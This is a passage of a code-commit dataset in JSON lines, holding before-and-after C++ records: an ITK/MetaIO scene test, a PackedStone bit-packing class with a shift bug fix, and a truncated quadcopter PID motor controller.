private:\n   eos::class_map_mgr * class_mgr;\n};\n\nint main(int argc, char ** argv) {\n   eos::sdk sdk;\n   policy_demo demo(sdk);\n\n   printf(\"Starting PolicyDemo\\n\");\n   sdk.main_loop(argc, argv);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <stdio.h>\n#include <ctype.h>\n#include <metaScene.h>\n#include <metaGroup.h>\n#include <metaEllipse.h>\n\nint testMetaScene(int , char * [])\n{\n\n  std::cout << \"Creating test scene ...\" << std::endl;\n  MetaScene * s = new MetaScene(3);\n\n  MetaEllipse * e1 = new MetaEllipse(3);\n  e1->ID(0);\n  e1->Radius(3);\n\n  MetaEllipse * e2 = new MetaEllipse(3);\n  e2->ID(1);\n  e2->Radius(4);\n\n  MetaGroup * g1 = new MetaGroup(3);\n  g1->ID(2);\n\n  e1->ParentID(2);\n  e2->ParentID(2);\n\n  s->AddObject(g1);\n  s->AddObject(e1);\n  s->AddObject(e2);\n\n  std::cout << \"...[ok]\" << std::endl;\n\n  std::cout << \"Writing test file ...\" << std::endl;\n\n  s->Write(\"scene.scn\");\n\n  std::cout << \"...[ok]\" << std::endl;\n\n  std::cout << \"Clearing the scene...\" << std::endl;\n  s->Clear();\n  std::cout << \"...[ok]\" << std::endl;\n\n  std::cout << \"Reading test file ...\" << std::endl;\n\n  s->Read(\"scene.scn\");\n\n  if(s->NObjects() != 3)\n    {\n    std::cout << \"Number of obejcts: \" << s->NObjects()\n              << \" != 3...[FAILED]\" << std::endl;\n    return 1;\n    }\n\n  std::cout << \"...[ok]\" << std::endl;\n\n  s->Clear();\n\n  std::cout << \"Writing single object...\" << std::endl;\n\n  e1 = new MetaEllipse(3);\n  e1->ID(0);\n  e1->Radius(3);\n  e1->Write(\"ellipse.elp\");\n  delete e1;\n\n  std::cout << \"[OK]\" << std::endl;\n\n  s->Clear();\n\n  std::cout << \"Reading test file ...\" << std::endl;\n\n  s->Read(\"ellipse.elp\");\n\n  if(s->NObjects() != 1)\n    {\n    std::cout << \"Number of obejcts: \" << s->NObjects()\n              << \" != 1...[FAILED]\" << std::endl;\n    delete s;\n    return 1;\n    }\n\n  delete s;\n  std::cout << \"[OK]\" << std::endl;\n  return 0;\n}\n<commit_msg>ENH: Increasing coverage<commit_after>#include <stdio.h>\n#include <ctype.h>\n#include <metaScene.h>\n#include <metaGroup.h>\n#include <metaEllipse.h>\n\nint testMetaScene(int , char * [])\n{\n\n  std::cout << \"Creating test scene ...\" << std::endl;\n  MetaScene * s = new MetaScene(3);\n\n  MetaEllipse * e1 = new MetaEllipse(3);\n  e1->ID(0);\n  e1->Radius(3);\n\n  MetaEllipse * e2 = new MetaEllipse(3);\n  e2->ID(1);\n  e2->Radius(4);\n\n  MetaGroup g0;\n  MetaGroup * g1 = new MetaGroup(3);\n  g1->ID(2);\n\n  MetaGroup g2(g1);\n  g2.PrintInfo();\n\n\n  e1->ParentID(2);\n  e2->ParentID(2);\n\n  s->AddObject(g1);\n  s->AddObject(e1);\n  s->AddObject(e2);\n\n  std::cout << \"...[ok]\" << std::endl;\n\n  std::cout << \"Writing test file ...\" << std::endl;\n\n  s->Write(\"scene.scn\");\n\n  std::cout << \"...[ok]\" << std::endl;\n\n  std::cout << \"Clearing the scene...\" << std::endl;\n  s->Clear();\n  std::cout << \"...[ok]\" << std::endl;\n\n  std::cout << \"Reading test file ...\" << std::endl;\n\n  s->Read(\"scene.scn\");\n\n  if(s->NObjects() != 3)\n    {\n    std::cout << \"Number of obejcts: \" << s->NObjects()\n              << \" != 3...[FAILED]\" << std::endl;\n    return 1;\n    }\n\n  std::cout << \"...[ok]\" << std::endl;\n\n  s->Clear();\n\n  std::cout << \"Writing single object...\" << std::endl;\n\n  e1 = new MetaEllipse(3);\n  e1->ID(0);\n  e1->Radius(3);\n  e1->Write(\"ellipse.elp\");\n  delete e1;\n\n  std::cout << \"[OK]\" << std::endl;\n\n  s->Clear();\n\n  std::cout << \"Reading test file ...\" << std::endl;\n\n  s->Read(\"ellipse.elp\");\n\n  if(s->NObjects() != 1)\n    {\n    std::cout << \"Number of obejcts: \" << s->NObjects()\n              << \" != 1...[FAILED]\" << std::endl;\n    delete s;\n    return 1;\n    }\n\n  delete s;\n  std::cout << \"[OK]\" << std::endl;\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>﻿#pragma once\n#include <cstddef>\n#include <cstdint>\n#include \"types.hpp\"\n\/\/基本方針：packできない時は変更を加えない\n\/**\n\\~japanese\t@brief Stoneを省メモリに格納するクラスです\n\\~english\t@brief Class for store Stone\n\\~japanese\t@detail 格納できる要素数は32個です。64bitを2bitずつ使用します。この構造の実現のためにbit演算を多用します。\n\\~english\t@detail The capacity of this class is 32(2 bit \/ elem, total 64bit).\n\\~\nxx xx xx xx ... xx xx xx xx\nMSB <---           ---> LSB : 64bit\nfront <-           --> back : 32 elem\n\nex.)\nPackedStone{ Stone::Black, Stone::Black, Stone::White, Stone::None }\n=> 00 00 ... 00 01 01 10 00\n*\/\nclass PackedStone\n{\npublic:\n\ttypedef std::size_t size_type;\n\ttypedef std::uint64_t hold_type;\n\ttypedef Stone value_type;\n\t\/**\n\t\\~japanese\t@brief 一要素あたりの消費bit数\n\t\\~english\t@brief number of bit-consumption per 1 element.\n\t*\/\n\tstatic constexpr std::uint8_t bit = 2;\nprivate:\n\t\/**\n\t\\~japanese\t@brief データ\n\t\\~english\t@brief data\n\t*\/\n\thold_type value_;\n\t\/**\n\t\\~japanese\t@brief 要素数\n\t\\~english\t@brief Element count\n\t*\/\n\tsize_type size_;\npublic:\n\t\/**\n\t\\~japanese\t@brief 容量\n\t\\~english\t@brief capacity\n\t*\/\n\tstatic constexpr size_type cap = sizeof(hold_type) * CHAR_BIT \/ bit;\n\tconstexpr PackedStone() noexcept : value_(), size_() {}\n\t\/**\n\t\\~japanese\t@brief Stone型を1つ格納します\n\t\\~english\t@brief holds a single Stone object\n\t*\/\n\tconstexpr PackedStone(Stone s) noexcept : value_(s), size_(1) {}\n\t\/**\n\t\\~japanese\t@brief Stone型を2つ格納します\n\t\\~english\t@brief holds two Stone object\n\t*\/\n\tconstexpr PackedStone(Stone s1, Stone s2) noexcept : value_((static_cast<hold_type>(s1) << bit) + s2), size_(2) {}\n\n\tconstexpr PackedStone(const PackedStone& o) noexcept : value_(o.value_), size_(o.size_) {}\n\tconstexpr PackedStone(PackedStone&& o) noexcept : value_(o.value_), size_(o.size_) {}\n\tPackedStone& operator=(const PackedStone& o) noexcept {\n\t\tthis->value_ = o.value_;\n\t\tthis->size_  = o.size_;\n\t\treturn *this;\n\t}\n\tPackedStone& operator=(PackedStone&& o) noexcept {\n\t\tthis->value_ = o.value_;\n\t\tthis->size_ = o.size_;\n\t\treturn *this;\n\t}\n\t\/**\n\t\\~japanese\t@brief 第一引数のPackedStoneの後ろに新たにStoneを追加して格納します。格納できない場合は第一引数のPackedStoneをそのまま格納します\n\t\\~english\t@brief Store first argument and push back second argument. When it is failed, store first argument.\n\t*\/\n\tconstexpr PackedStone(const PackedStone& o, const Stone s) noexcept\n\t\t: value_((!o.is_packable()) ? o.value_ : (o.value_ << bit) | static_cast<hold_type>(s)), size_((!o.is_packable()) ? o.size_ : o.size_ + 1) {}\n\t\/**\n\t\\~japanese\t@brief 第一引数のPackedStoneの前に新たにStoneを追加して格納します。格納できない場合は第一引数のStoneをそのまま格納します\n\t\\~english\t@brief Store first argument and push front second argument. When it is failed, store first argument.\n\t*\/\n\tconstexpr PackedStone(const Stone s, const PackedStone& o) noexcept\n\t\t: value_((!o.is_packable()) ? s : (static_cast<hold_type>(s) << (o.size_ * bit)) | o.value_), size_((!o.is_packable()) ? 1 : o.size_ + 1) {}\n\t\/**\n\t\\~japanese\t@brief 容量を取得します。\n\t\\~english\t@brief Get capacity\n\t*\/\n\tconstexpr size_type capacity() const noexcept { return cap; }\n\t\/**\n\t\\~japanese\t@brief 現在の大きさを取得します。\n\t\\~english\t@brief Get current size\n\t*\/\n\tconstexpr size_type size() const noexcept { return size_; }\n\t\/**\n\t\\~japanese\t@brief 内部データを直接取り出します。\n\t\\~english\t@brief Get raw data\n\t*\/\n\tconstexpr hold_type data() const noexcept { return value_; }\n\t\/**\n\t\\~japanese\t@brief Stoneをさらに格納できるか調べます\n\t\\~english\t@brief Check \n\t*\/\n\tconstexpr bool is_packable() const noexcept { return (size_ < cap); }\nprivate:\n\t\/**\n\t\\~japanese\t@brief 要素だけをand演算で取り出すためのmask\n\t\\~english\t@brief a mask for and operation to get element\n\t*\/\n\tstatic constexpr hold_type mask = 0b11;\n\t\/**\n\t\\~japanese\t@brief 要素bitを先頭に移動させるための左シフトの数を計算する\n\t\\~english\t@brief calc how many bit is needed to shift elem-bit to front-elem-bits\n\t*\/\n\tconstexpr std::uint8_t lshift_num_to_get_front() const noexcept { return static_cast<std::uint8_t>(this->size_ - 1); };\npublic:\n\t\/**\n\t\\~japanese\t@brief Getter: 先頭要素を取得する\n\t\\~english\t@brief Getter: Get first elem\n\t*\/\n\tconstexpr Stone front() const noexcept {\n\t\treturn static_cast<Stone>(this->value_ >> lshift_num_to_get_front());\n\t}\n\t\/**\n\t\\~japanese\t@brief Setter: 先頭要素に書き込む\n\t\\~english\t@brief Setter: Set first elem\n\t\\~japanese\t@return 変更されたPackedStoneクラス\n\t\\~english\t@return modified PackedStone class.\n\t*\/\n\tconstexpr PackedStone front(Stone s) const noexcept { \n\t\t\/\/                      ************* bit mask *************\n\t\treturn{ (this->value_ & ~(mask << lshift_num_to_get_front())) | (static_cast<hold_type>(s) << lshift_num_to_get_front()), this->size_ };\n\t}\n\t\/**\n\t\\~japanese\t@brief Getter: 末尾要素を取得する\n\t\\~english\t@brief Getter: Get last elem\n\t*\/\n\tconstexpr Stone back() const noexcept {\n\t\treturn static_cast<Stone>(this->value_ & mask);\n\t}\n\t\/**\n\t\\~japanese\t@brief Setter: 末尾要素に書き込む\n\t\\~english\t@brief Setter: Set last elem\n\t\\~japanese\t@return 変更されたPackedStoneクラス\n\t\\~english\t@return modified PackedStone class.\n\t*\/\n\tconstexpr PackedStone back(Stone s) const noexcept { \n\t\treturn{ (this->value_ & ~mask) | s, this->size_ };\n\t}\n\t\/**\n\t\\~japanese\t@brief 第一引数のPackedStoneの前に新たにStoneを追加して返却します。格納できない場合は第一引数のStoneをそのまま格納します\n\t\\~english\t@brief push front second argument and return. When it is failed, return first argument.\n\t*\/\n\tconstexpr PackedStone push_front(Stone s) const noexcept { return{ s, *this }; }\n\t\/**\n\t\\~japanese\t@brief 第一引数のPackedStoneの後ろに新たにStoneを追加して返却します。格納できない場合は第一引数のPackedStoneをそのまま格納します\n\t\\~english\t@brief push back second argument and return. When it is failed, return first argument.\n\t*\/\n\tconstexpr PackedStone push_back(Stone s) const noexcept { return{ *this, s }; }\n\t\/**\n\t\\~japanese\t@brief 先頭要素を削除したものを返却します\n\t\\~english\t@brief return this object which first element is removed\n\t*\/\n\tconstexpr PackedStone pop_front() const noexcept {\n\t\treturn (this->size_) ? PackedStone{ this->value_ & (mask << lshift_num_to_get_front()), this->size_ - 1 } : *this;\n\t}\n\t\/**\n\t\\~japanese\t@brief 末尾要素を削除したものを返却します\n\t\\~english\t@brief return this object which last element is removed\n\t*\/\n\tconstexpr PackedStone pop_back() const noexcept { return (this->size_) ? PackedStone{ this->value_ >> bit, this->size_ - 1 } : *this; }\nprivate:\n\tconstexpr PackedStone(hold_type n, size_type s) noexcept : value_(n), size_(s) {}\n\t\/**\n\t\\~japanese\t@brief 左シフトビット演算子\n\t\\~english\t@brief left shift bitwise operator\n\t*\/\n\tconstexpr PackedStone operator<<(size_type n) const noexcept { return (is_packable()) ? PackedStone{ value_ << (bit * n), size_ } : *this; }\npublic:\n\t\/**\n\t\\~japanese\t@brief 左シフトビット演算子\n\t\\~english\t@brief left shift bitwise operator\n\t*\/\n\tconstexpr PackedStone operator<<(std::uint8_t n) const noexcept { return *this << static_cast<size_type>(n); }\n\t\/**\n\t\\~japanese\t@brief 第一引数のPackedStoneの後ろに新たにPackedStoneを追加して返却します。格納できない場合は第一引数のPackedStoneをそのまま格納します\n\t\\~english\t@brief push back second argument and return. When it is failed, return first argument.\n\t*\/\n\tconstexpr PackedStone operator|(PackedStone r) const noexcept {\n\t\treturn (cap < this->size_ + r.size_) ? *this : PackedStone{(*this << r.size()).value_ + r.value_, this->size_ + r.size_};\n\t}\n\t\/**\n\t\\~japanese\t@brief 第一引数のPackedStoneの後ろに新たにStoneを追加して返却します。格納できない場合は第一引数のPackedStoneをそのまま格納します\n\t\\~english\t@brief push back second argument and return. When it is failed, return first argument.\n\t*\/\n\tconstexpr PackedStone operator|(Stone r) const noexcept {\n\t\treturn{ *this, r };\n\t}\nprivate:\n\tstatic constexpr PackedStone pack_n(const PackedStone tmp, const Stone s, const size_type rest_count) noexcept {\n\t\treturn (0 == rest_count) ? PackedStone{} : (rest_count - 1) ? pack_n(tmp | s, s, rest_count - 1) : tmp | s;\n\t}\n\tstatic constexpr PackedStone pack_n(const Stone s, const size_t rest_count) noexcept {\n\t\treturn (0 == rest_count) ? PackedStone{} : (rest_count - 1) ? pack_n(s, s, rest_count - 1) : s;\n\t}\npublic:\n\tconstexpr PackedStone(size_type n, const Stone val) : PackedStone(pack_n(val, n)) {}\n\tconstexpr PackedStone assign(size_type n, const Stone val) const noexcept {\n\t\treturn pack_n(val, n);\n\t}\n};\n\/**\n@relates PackedStone\n\\~japanese\t@brief\t二項演算子==のオーバーロード。厳密な比較が行われます\n\\~english\t@brief\tOverload of binary operator ==. This operator compares strict difference\n*\/\nconstexpr bool operator==(PackedStone l, PackedStone r) noexcept {\n\treturn l.size() == r.size() && l.data() == r.data();\n}\n\/**\n@relates PackedStone\n\\~japanese\t@brief\t二項演算子!=のオーバーロード。厳密な比較が行われます\n\\~english\t@brief\tOverload of binary operator !=. This operator compares strict difference\n*\/\nconstexpr bool operator!=(PackedStone l, PackedStone r) noexcept {\n\treturn !(l == r);\n}\n\/**\n@relates PackedStone\n\\~japanese\t@brief Stone型を2つ格納します\n\\~english\t@brief holds two Stone object\n*\/\nconstexpr PackedStone operator|(Stone l, Stone r) noexcept { return{ l, r }; }\n\/**\n@relates PackedStone\n\\~japanese\t@brief 第一引数のPackedStoneの前に新たにStoneを追加して格納します。格納できない場合は第一引数のStoneをそのまま格納します\n\\~english\t@brief Store first argument and push front second argument. When it is failed, store first argument.\n*\/\nconstexpr PackedStone operator|(Stone l, PackedStone r) noexcept { return{ l, r }; }\nnamespace detail {\n\tstruct PackPattern_n_operator_helper {\n\t\tstruct Impl {\n\t\t\tsize_t n;\n\t\t};\n\t\tImpl p;\n\t\tconstexpr Impl operator*() const {\n\t\t\treturn p;\n\t\t}\n\t};\n\tconstexpr PackedStone operator*(const Stone s, PackPattern_n_operator_helper::Impl n) {\n\t\treturn { n.n, s };\n\t}\n}\nconstexpr detail::PackPattern_n_operator_helper operator \"\" _pack(unsigned long long n) { return{ { static_cast<size_t>((n < PackedStone::cap) ? n : 0) } }; }\n\n\ntypedef array<array<PackedStone, 5>, 2> Pattern;\n\n<commit_msg>PackedStone::front(), PackedStone::front(Stone), PackedStone::pop_front()が正常に動作しなかった問題を修正<commit_after>﻿#pragma once\n#include <cstddef>\n#include <cstdint>\n#include \"types.hpp\"\n\/\/基本方針：packできない時は変更を加えない\n\/**\n\\~japanese\t@brief Stoneを省メモリに格納するクラスです\n\\~english\t@brief Class for store Stone\n\\~japanese\t@detail 格納できる要素数は32個です。64bitを2bitずつ使用します。この構造の実現のためにbit演算を多用します。\n\\~english\t@detail The capacity of this class is 32(2 bit \/ elem, total 64bit).\n\\~\nxx xx xx xx ... xx xx xx xx\nMSB <---           ---> LSB : 64bit\nfront <-           --> back : 32 elem\n\nex.)\nPackedStone{ Stone::Black, Stone::Black, Stone::White, Stone::None }\n=> 00 00 ... 00 01 01 10 00\n*\/\nclass PackedStone\n{\npublic:\n\ttypedef std::size_t size_type;\n\ttypedef std::uint64_t hold_type;\n\ttypedef Stone value_type;\n\t\/**\n\t\\~japanese\t@brief 一要素あたりの消費bit数\n\t\\~english\t@brief number of bit-consumption per 1 element.\n\t*\/\n\tstatic constexpr std::uint8_t bit = 2;\nprivate:\n\t\/**\n\t\\~japanese\t@brief データ\n\t\\~english\t@brief data\n\t*\/\n\thold_type value_;\n\t\/**\n\t\\~japanese\t@brief 要素数\n\t\\~english\t@brief Element count\n\t*\/\n\tsize_type size_;\npublic:\n\t\/**\n\t\\~japanese\t@brief 容量\n\t\\~english\t@brief capacity\n\t*\/\n\tstatic constexpr size_type cap = sizeof(hold_type) * CHAR_BIT \/ bit;\n\tconstexpr PackedStone() noexcept : value_(), size_() {}\n\t\/**\n\t\\~japanese\t@brief Stone型を1つ格納します\n\t\\~english\t@brief holds a single Stone object\n\t*\/\n\tconstexpr PackedStone(Stone s) noexcept : value_(s), size_(1) {}\n\t\/**\n\t\\~japanese\t@brief Stone型を2つ格納します\n\t\\~english\t@brief holds two Stone object\n\t*\/\n\tconstexpr PackedStone(Stone s1, Stone s2) noexcept : value_((static_cast<hold_type>(s1) << bit) + s2), size_(2) {}\n\n\tconstexpr PackedStone(const PackedStone& o) noexcept : value_(o.value_), size_(o.size_) {}\n\tconstexpr PackedStone(PackedStone&& o) noexcept : value_(o.value_), size_(o.size_) {}\n\tPackedStone& operator=(const PackedStone& o) noexcept {\n\t\tthis->value_ = o.value_;\n\t\tthis->size_  = o.size_;\n\t\treturn *this;\n\t}\n\tPackedStone& operator=(PackedStone&& o) noexcept {\n\t\tthis->value_ = o.value_;\n\t\tthis->size_ = o.size_;\n\t\treturn *this;\n\t}\n\t\/**\n\t\\~japanese\t@brief 第一引数のPackedStoneの後ろに新たにStoneを追加して格納します。格納できない場合は第一引数のPackedStoneをそのまま格納します\n\t\\~english\t@brief Store first argument and push back second argument. When it is failed, store first argument.\n\t*\/\n\tconstexpr PackedStone(const PackedStone& o, const Stone s) noexcept\n\t\t: value_((!o.is_packable()) ? o.value_ : (o.value_ << bit) | static_cast<hold_type>(s)), size_((!o.is_packable()) ? o.size_ : o.size_ + 1) {}\n\t\/**\n\t\\~japanese\t@brief 第一引数のPackedStoneの前に新たにStoneを追加して格納します。格納できない場合は第一引数のStoneをそのまま格納します\n\t\\~english\t@brief Store first argument and push front second argument. When it is failed, store first argument.\n\t*\/\n\tconstexpr PackedStone(const Stone s, const PackedStone& o) noexcept\n\t\t: value_((!o.is_packable()) ? s : (static_cast<hold_type>(s) << (o.size_ * bit)) | o.value_), size_((!o.is_packable()) ? 1 : o.size_ + 1) {}\n\t\/**\n\t\\~japanese\t@brief 容量を取得します。\n\t\\~english\t@brief Get capacity\n\t*\/\n\tconstexpr size_type capacity() const noexcept { return cap; }\n\t\/**\n\t\\~japanese\t@brief 現在の大きさを取得します。\n\t\\~english\t@brief Get current size\n\t*\/\n\tconstexpr size_type size() const noexcept { return size_; }\n\t\/**\n\t\\~japanese\t@brief 内部データを直接取り出します。\n\t\\~english\t@brief Get raw data\n\t*\/\n\tconstexpr hold_type data() const noexcept { return value_; }\n\t\/**\n\t\\~japanese\t@brief Stoneをさらに格納できるか調べます\n\t\\~english\t@brief Check \n\t*\/\n\tconstexpr bool is_packable() const noexcept { return (size_ < cap); }\nprivate:\n\t\/**\n\t\\~japanese\t@brief 要素だけをand演算で取り出すためのmask\n\t\\~english\t@brief a mask for and operation to get element\n\t*\/\n\tstatic constexpr hold_type mask = 0b11;\n\t\/**\n\t\\~japanese\t@brief 要素bitを先頭に移動させるための左シフトの数を計算する\n\t\\~english\t@brief calc how many bit is needed to shift elem-bit to front-elem-bits\n\t*\/\n\tconstexpr std::uint8_t lshift_num_to_get_front() const noexcept { return static_cast<std::uint8_t>(this->size_ - 1) * 2; };\npublic:\n\t\/**\n\t\\~japanese\t@brief Getter: 先頭要素を取得する\n\t\\~english\t@brief Getter: Get first elem\n\t*\/\n\tconstexpr Stone front() const noexcept {\n\t\treturn static_cast<Stone>(this->value_ >> lshift_num_to_get_front());\n\t}\n\t\/**\n\t\\~japanese\t@brief Setter: 先頭要素に書き込む\n\t\\~english\t@brief Setter: Set first elem\n\t\\~japanese\t@return 変更されたPackedStoneクラス\n\t\\~english\t@return modified PackedStone class.\n\t*\/\n\tconstexpr PackedStone front(Stone s) const noexcept { \n\t\t\/\/                      ************* bit mask *************\n\t\treturn{ (this->value_ & ~(mask << lshift_num_to_get_front())) | (static_cast<hold_type>(s) << lshift_num_to_get_front()), this->size_ };\n\t}\n\t\/**\n\t\\~japanese\t@brief Getter: 末尾要素を取得する\n\t\\~english\t@brief Getter: Get last elem\n\t*\/\n\tconstexpr Stone back() const noexcept {\n\t\treturn static_cast<Stone>(this->value_ & mask);\n\t}\n\t\/**\n\t\\~japanese\t@brief Setter: 末尾要素に書き込む\n\t\\~english\t@brief Setter: Set last elem\n\t\\~japanese\t@return 変更されたPackedStoneクラス\n\t\\~english\t@return modified PackedStone class.\n\t*\/\n\tconstexpr PackedStone back(Stone s) const noexcept { \n\t\treturn{ (this->value_ & ~mask) | s, this->size_ };\n\t}\n\t\/**\n\t\\~japanese\t@brief 第一引数のPackedStoneの前に新たにStoneを追加して返却します。格納できない場合は第一引数のStoneをそのまま格納します\n\t\\~english\t@brief push front second argument and return. When it is failed, return first argument.\n\t*\/\n\tconstexpr PackedStone push_front(Stone s) const noexcept { return{ s, *this }; }\n\t\/**\n\t\\~japanese\t@brief 第一引数のPackedStoneの後ろに新たにStoneを追加して返却します。格納できない場合は第一引数のPackedStoneをそのまま格納します\n\t\\~english\t@brief push back second argument and return. When it is failed, return first argument.\n\t*\/\n\tconstexpr PackedStone push_back(Stone s) const noexcept { return{ *this, s }; }\n\t\/**\n\t\\~japanese\t@brief 先頭要素を削除したものを返却します\n\t\\~english\t@brief return this object which first element is removed\n\t*\/\n\tconstexpr PackedStone pop_front() const noexcept {\n\t\treturn (this->size_) ? PackedStone{ this->value_ & (mask << lshift_num_to_get_front()), this->size_ - 1 } : *this;\n\t}\n\t\/**\n\t\\~japanese\t@brief 末尾要素を削除したものを返却します\n\t\\~english\t@brief return this object which last element is removed\n\t*\/\n\tconstexpr PackedStone pop_back() const noexcept { return (this->size_) ? PackedStone{ this->value_ >> bit, this->size_ - 1 } : *this; }\nprivate:\n\tconstexpr PackedStone(hold_type n, size_type s) noexcept : value_(n), size_(s) {}\n\t\/**\n\t\\~japanese\t@brief 左シフトビット演算子\n\t\\~english\t@brief left shift bitwise operator\n\t*\/\n\tconstexpr PackedStone operator<<(size_type n) const noexcept { return (is_packable()) ? PackedStone{ value_ << (bit * n), size_ } : *this; }\npublic:\n\t\/**\n\t\\~japanese\t@brief 左シフトビット演算子\n\t\\~english\t@brief left shift bitwise operator\n\t*\/\n\tconstexpr PackedStone operator<<(std::uint8_t n) const noexcept { return *this << static_cast<size_type>(n); }\n\t\/**\n\t\\~japanese\t@brief 第一引数のPackedStoneの後ろに新たにPackedStoneを追加して返却します。格納できない場合は第一引数のPackedStoneをそのまま格納します\n\t\\~english\t@brief push back second argument and return. When it is failed, return first argument.\n\t*\/\n\tconstexpr PackedStone operator|(PackedStone r) const noexcept {\n\t\treturn (cap < this->size_ + r.size_) ? *this : PackedStone{(*this << r.size()).value_ + r.value_, this->size_ + r.size_};\n\t}\n\t\/**\n\t\\~japanese\t@brief 第一引数のPackedStoneの後ろに新たにStoneを追加して返却します。格納できない場合は第一引数のPackedStoneをそのまま格納します\n\t\\~english\t@brief push back second argument and return. When it is failed, return first argument.\n\t*\/\n\tconstexpr PackedStone operator|(Stone r) const noexcept {\n\t\treturn{ *this, r };\n\t}\nprivate:\n\tstatic constexpr PackedStone pack_n(const PackedStone tmp, const Stone s, const size_type rest_count) noexcept {\n\t\treturn (0 == rest_count) ? PackedStone{} : (rest_count - 1) ? pack_n(tmp | s, s, rest_count - 1) : tmp | s;\n\t}\n\tstatic constexpr PackedStone pack_n(const Stone s, const size_t rest_count) noexcept {\n\t\treturn (0 == rest_count) ? PackedStone{} : (rest_count - 1) ? pack_n(s, s, rest_count - 1) : s;\n\t}\npublic:\n\tconstexpr PackedStone(size_type n, const Stone val) : PackedStone(pack_n(val, n)) {}\n\tconstexpr PackedStone assign(size_type n, const Stone val) const noexcept {\n\t\treturn pack_n(val, n);\n\t}\n};\n\/**\n@relates PackedStone\n\\~japanese\t@brief\t二項演算子==のオーバーロード。厳密な比較が行われます\n\\~english\t@brief\tOverload of binary operator ==. This operator compares strict difference\n*\/\nconstexpr bool operator==(PackedStone l, PackedStone r) noexcept {\n\treturn l.size() == r.size() && l.data() == r.data();\n}\n\/**\n@relates PackedStone\n\\~japanese\t@brief\t二項演算子!=のオーバーロード。厳密な比較が行われます\n\\~english\t@brief\tOverload of binary operator !=. This operator compares strict difference\n*\/\nconstexpr bool operator!=(PackedStone l, PackedStone r) noexcept {\n\treturn !(l == r);\n}\n\/**\n@relates PackedStone\n\\~japanese\t@brief Stone型を2つ格納します\n\\~english\t@brief holds two Stone object\n*\/\nconstexpr PackedStone operator|(Stone l, Stone r) noexcept { return{ l, r }; }\n\/**\n@relates PackedStone\n\\~japanese\t@brief 第一引数のPackedStoneの前に新たにStoneを追加して格納します。格納できない場合は第一引数のStoneをそのまま格納します\n\\~english\t@brief Store first argument and push front second argument. When it is failed, store first argument.\n*\/\nconstexpr PackedStone operator|(Stone l, PackedStone r) noexcept { return{ l, r }; }\nnamespace detail {\n\tstruct PackPattern_n_operator_helper {\n\t\tstruct Impl {\n\t\t\tsize_t n;\n\t\t};\n\t\tImpl p;\n\t\tconstexpr Impl operator*() const {\n\t\t\treturn p;\n\t\t}\n\t};\n\tconstexpr PackedStone operator*(const Stone s, PackPattern_n_operator_helper::Impl n) {\n\t\treturn { n.n, s };\n\t}\n}\nconstexpr detail::PackPattern_n_operator_helper operator \"\" _pack(unsigned long long n) { return{ { static_cast<size_t>((n < PackedStone::cap) ? n : 0) } }; }\n\n\ntypedef array<array<PackedStone, 5>, 2> Pattern;\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\r\n * Motors_Controller.cpp\r\n *\r\n *  Created on: 18. 7. 2017\r\n *      Author: michp\r\n *\/\r\n\r\n#include <Motors_Controller.h>\r\n\r\nnamespace flyhero {\r\n\r\nMotors_Controller& Motors_Controller::Instance() {\r\n\tstatic Motors_Controller instance;\r\n\r\n\treturn instance;\r\n}\r\n\r\nMotors_Controller::Motors_Controller() {\r\n\tthis->motor_FR = 940;\r\n\tthis->motor_FL = 940;\r\n\tthis->motor_BR = 940;\r\n\tthis->motor_BL = 940;\r\n\r\n\tthis->roll_PID.Set_I_Max(50);\r\n\tthis->pitch_PID.Set_I_Max(50);\r\n\tthis->yaw_PID.Set_I_Max(50);\r\n\r\n\tthis->invert_yaw = false;\r\n\tthis->throttle = 1000;\r\n}\r\n\r\nvoid Motors_Controller::Set_PID_Constants(Axis axis, float Kp, float Ki, float Kd) {\r\n\tswitch (axis) {\r\n\tcase Roll:\r\n\t\tthis->roll_PID.Set_Kp(Kp);\r\n\t\tthis->roll_PID.Set_Ki(Ki);\r\n\t\tthis->roll_PID.Set_Kd(Kd);\r\n\t\tbreak;\r\n\tcase Pitch:\r\n\t\tthis->pitch_PID.Set_Kp(Kp);\r\n\t\tthis->pitch_PID.Set_Ki(Ki);\r\n\t\tthis->pitch_PID.Set_Kd(Kd);\r\n\t\tbreak;\r\n\tcase Yaw:\r\n\t\tthis->yaw_PID.Set_Kp(Kp);\r\n\t\tthis->yaw_PID.Set_Ki(Ki);\r\n\t\tthis->yaw_PID.Set_Kd(Kd);\r\n\t\tbreak;\r\n\t}\r\n}\r\n\r\nvoid Motors_Controller::Set_Throttle(uint16_t throttle) {\r\n\tthis->throttle = throttle;\r\n}\r\n\r\nvoid Motors_Controller::Set_Invert_Yaw(bool invert) {\r\n\tthis->invert_yaw = invert;\r\n}\r\n\r\nvoid Motors_Controller::Update_Motors() {\r\n\tPWM_Generator& PWM_generator = PWM_Generator::Instance();\r\n\r\n\tif (this->throttle >= 1050) {\r\n\t\tfloat pitch_correction, roll_correction, yaw_correction;\r\n\t\tMPU6050::Sensor_Data euler_data;\r\n\r\n\t\tMPU6050::Instance().Get_Euler(euler_data.x, euler_data.y, euler_data.z);\r\n\r\n\t\troll_correction = this->roll_PID.Get_PID(0 - euler_data.x);\r\n\t\tpitch_correction = this->pitch_PID.Get_PID(0 - euler_data.y);\r\n\t\tyaw_correction = this->yaw_PID.Get_PID(0 - euler_data.z);\r\n\r\n\t\t\/\/ not sure about yaw signs\r\n\t\tif (!this->invert_yaw) {\r\n\t\t\tthis->motor_FL = throttle - roll_correction - yaw_correction; \/\/ PB2\r\n\t\t\tthis->motor_BL = throttle + pitch_correction + yaw_correction; \/\/ PA15\r\n\t\t\tthis->motor_FR = throttle - pitch_correction + yaw_correction; \/\/ PB10\r\n\t\t\tthis->motor_BR = throttle + roll_correction - yaw_correction; \/\/ PA1\r\n\t\t}\r\n\t\telse {\r\n\t\t\tthis->motor_FL = throttle - roll_correction + yaw_correction; \/\/ PB2\r\n\t\t\tthis->motor_BL = throttle + pitch_correction - yaw_correction; \/\/ PA15\r\n\t\t\tthis->motor_FR = throttle - pitch_correction - yaw_correction; \/\/ PB10\r\n\t\t\tthis->motor_BR = throttle + roll_correction + yaw_correction; \/\/ PA1\r\n\t\t}\r\n\r\n\t\tif (this->motor_FL > 2000)\r\n\t\t\tthis->motor_FL = 2000;\r\n\t\telse if (this->motor_FL < 1050)\r\n\t\t\tthis->motor_FL = 940;\r\n\r\n\t\tif (this->motor_BL > 2000)\r\n\t\t\tthis->motor_BL = 2000;\r\n\t\telse if (this->motor_BL < 1050)\r\n\t\t\tthis->motor_BL = 940;\r\n\r\n\t\tif (this->motor_FR > 